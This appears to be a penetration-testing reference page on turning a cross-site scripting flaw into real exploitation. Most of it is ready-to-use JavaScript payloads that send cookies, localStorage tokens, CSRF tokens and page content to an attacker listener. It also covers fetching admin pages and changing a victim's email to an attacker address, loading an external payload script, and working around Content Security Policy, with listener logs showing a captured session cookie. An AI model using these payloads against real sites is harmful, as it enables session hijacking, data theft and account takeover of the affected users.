Skip to content

JavaScript for XSS

4 min read Created Sep 14, 2026 Last updated Sep 14, 2026

XSS payloads run in the victim's browser with full access to the page's JavaScript context. The impact depends on what you do with that access. Basic payloads like alert(1) prove execution but have no real impact. This page covers the JavaScript techniques used to turn a confirmed XSS into meaningful exploitation: cookie theft, session token extraction, keylogging, and data exfiltration. For finding and confirming XSS, see reflected XSS checks and stored XSS checks.

JavaScript APIs for Exfiltration

All exfiltration techniques work the same way: read data from the victim's browser, then send it to an attacker-controlled server. The browser enforces the Same-Origin Policy on responses, but outbound requests to any origin are allowed. Three transport methods work reliably:

  • Image tag: fires a GET request with no CORS check, works in every browser, triggers even without JavaScript enabled in some contexts.

  • Fetch API: modern async HTTP, supports POST, full control over headers and body.

  • XMLHttpRequest: older alternative to Fetch, still works everywhere and useful when Fetch is restricted by CSP.

document.cookie returns all cookies for the current origin that do not have the HttpOnly flag. HttpOnly cookies are invisible to JavaScript , only the browser sends them automatically on requests. Check which cookies are accessible before assuming session theft will work.

// Exfiltrate cookies via image tag (GET request, no CORS check)
new Image().src = 'http://$LHOST:$LPORT/?c=' + encodeURIComponent(document.cookie);
// Exfiltrate cookies via Fetch (POST, survives CSP that blocks img-src)
fetch('http://$LHOST:$LPORT/collect', {
  method: 'POST',
  body: JSON.stringify({ cookies: document.cookie }),
  headers: { 'Content-Type': 'application/json' }
});
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [14/Sep/2026 12:00:01] "GET /?c=session%3Dabc123 HTTP/1.1" 200 -

The session cookie value appears URL-decoded in the log. Use it to hijack the session in your browser via DevTools > Application > Cookies.

Session Token and localStorage Theft

Modern applications often store session tokens or JWTs in localStorage or sessionStorage instead of cookies, specifically to keep them out of automatic request headers. JavaScript has full read access to both.

// Dump all localStorage keys and values
const data = {};
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  data[key] = localStorage.getItem(key);
}
new Image().src = 'http://$LHOST:$LPORT/?d=' + encodeURIComponent(JSON.stringify(data));
// Target a specific token key
const token = localStorage.getItem('access_token') || sessionStorage.getItem('token');
new Image().src = 'http://$LHOST:$LPORT/?t=' + encodeURIComponent(token);

Exfiltrating Page Content

XSS runs in the context of the current page and can read the entire DOM, including content rendered only for authenticated users. Use this to grab CSRF tokens from forms, API keys rendered in page source, or sensitive data visible in the UI.

// Grab a CSRF token from a form
const csrf = document.querySelector('input[name="_token"]')?.value;
new Image().src = 'http://$LHOST:$LPORT/?csrf=' + encodeURIComponent(csrf);

// Grab the entire page HTML
fetch('http://$LHOST:$LPORT/page', {
  method: 'POST',
  body: document.documentElement.innerHTML
});

Making Authenticated Requests on Behalf of the Victim

The XSS payload runs with the victim's browser session. Any fetch or XHR request inherits the victim's cookies and credentials. Use this to perform actions the victim is authorised to take: change their email, add an admin account, or extract data only they can access.

// Fetch a page only the victim can access and exfiltrate the content
fetch('/admin/users', { credentials: 'include' })
  .then(r => r.text())
  .then(html => {
    fetch('http://$LHOST:$LPORT/data', {
      method: 'POST',
      body: html
    });
  });
// Change the victim's email using their authenticated session
fetch('/account/email', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'email=attacker%40evil.com'
});

Loading an External Payload

Stored XSS payloads have a character limit constraint in some applications. A short payload that loads an external script bypasses this , the browser fetches and executes the full payload from your server. This also lets you update the payload without modifying the stored XSS.

<!-- Minimal stored XSS that loads external script -->
<script src="http://$LHOST:$LPORT/payload.js"></script>
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

Place payload.js in the directory where python serves files. The victim's browser fetches and executes it. Update payload.js without touching the stored XSS.

Content Security Policy Considerations

CSP restricts which origins scripts can load from and where data can be sent. Check the Content-Security-Policy response header before deploying payloads.

  • script-src 'self': blocks external script loads , inline payloads and data exfiltration via image tags still work.

  • connect-src 'self': blocks fetch/XHR to external origins , use image tags or form submissions instead.

  • img-src 'self': blocks image-tag exfiltration , use fetch or form submissions.

  • default-src 'none': very restrictive , requires finding a CSP bypass or a whitelisted origin to exfiltrate data.

For a detailed analysis of CSP headers on the target, see CSP check.

References